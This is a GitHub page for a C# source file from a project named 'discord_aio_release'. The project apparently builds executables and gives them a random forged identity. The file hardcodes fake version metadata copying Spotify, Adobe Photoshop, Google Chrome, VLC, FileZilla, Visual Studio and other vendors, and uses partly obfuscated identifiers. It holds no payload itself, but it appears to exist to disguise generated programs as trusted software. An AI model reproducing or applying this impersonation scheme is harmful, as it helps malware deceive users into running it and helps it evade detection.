-
Notifications
You must be signed in to change notification settings - Fork 47
/
Metadata.cs
170 lines (165 loc) · 5.87 KB
/
Metadata.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Windows.Documents;
namespace discord_aio_release
{
internal class Metadata
{
public Metadata (RandomCharacters randomCharacters)
{
this.ranChars = randomCharacters;
}
private readonly List<FileMetadata> езл = new List<FileMetadata>
{
new FileMetadata
{
Title = "Spotify",
Description = "Spotify",
Product = "Spotify",
Company = "Spotify Ltd",
Copyright = "Copyright (c) 2023, Spotify Ltd",
Trademark = "",
MajorVersion = "1",
MinorVersion = "2",
BuildPart = "7",
PrivatePart = "1277"
},
new FileMetadata
{
Title = "Photoshop",
Description = "Adobe Photoshop 2020",
Product = "Adobe Photoshop 2020",
Company = "Adobe",
Copyright = "© 1990-2019 Adobe. All rights reserved.",
Trademark = "",
MajorVersion = "21",
MinorVersion = "0",
BuildPart = "0",
PrivatePart = "37"
},
new FileMetadata
{
Title = "chrome_exe",
Description = "Google Chrome",
Product = "Google Chrome",
Company = "Google LLC",
Copyright = "Copyright 2020 Google LLC. All rights reserved.",
Trademark = "",
MajorVersion = "89",
MinorVersion = "0",
BuildPart = "4389",
PrivatePart = "90"
},
new FileMetadata
{
Title = "vlc",
Description = "VLC media player",
Product = "VLC media player",
Company = "VideoLAN",
Copyright = "Copyright © 1996-2018 VideoLAN and VLC Author",
Trademark = "VLC media player, VideoLAN and x264 are registered trademarks from VideoLAN",
MajorVersion = "3",
MinorVersion = "0",
BuildPart = "3",
PrivatePart = "0"
},
new FileMetadata
{
Title = "HWMonitor.exe",
Description = "HWMonitor",
Product = "CPUID Hardware Monitor",
Company = "CPUID",
Copyright = "(c)2008-2018 CPUID. All rights reserved.",
Trademark = "",
MajorVersion = "1",
MinorVersion = "3",
BuildPart = "4",
PrivatePart = "0"
},
new FileMetadata
{
Title = "Update.exe",
Description = "Update",
Product = "Update",
Company = "GitHub",
Copyright = "Github",
Trademark = "",
MajorVersion = "1",
MinorVersion = "1",
BuildPart = "1",
PrivatePart = "1"
},
new FileMetadata
{
Title = "FileZilla_3.58.0_win32-setup.exe",
Description = "FileZilla FTP Client",
Product = "FileZilla",
Company = "Tim Kosse",
Copyright = "Tim Kosse",
Trademark = "",
MajorVersion = "3",
MinorVersion = "58",
BuildPart = "0",
PrivatePart = "0"
},
new FileMetadata
{
Title = "vs_community.exe",
Description = "Visual Studio Installer",
Product = "Microsoft Visual Studio",
Company = "Microsoft Corporation",
Copyright = "Microsoft Corporation",
Trademark = "",
MajorVersion = "17",
MinorVersion = "1",
BuildPart = "32210",
PrivatePart = "32210"
},
};
private readonly Random ran = new Random();
private readonly RandomCharacters ranChars;
private int hareo;
public FileMetadata randomMetadata()
{
int num = this.hareo;
do
{
num = this.ran.Next(0, this.езл.Count - 1);
}
while (num == this.hareo);
this.hareo = num;
return this.езл[num];
}
}
public class RandomCharacters
{
public string getRandomCharacters(int length)
{
StringBuilder stringBuilder = new StringBuilder();
for (int i = 1; i <= length; i++)
{
int index = this._random.Next(0, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".Length);
stringBuilder.Append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[index]);
}
return stringBuilder.ToString();
}
private readonly Random _random = new Random();
private const string string_0 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
}
public class FileMetadata
{
public string Title { get; set; }
public string Description { get; set; }
public string Product { get; set; }
public string Company { get; set; }
public string Copyright { get; set; }
public string Trademark { get; set; }
public string MajorVersion { get; set; }
public string MinorVersion { get; set; }
public string BuildPart { get; set; }
public string PrivatePart { get; set; }
}
}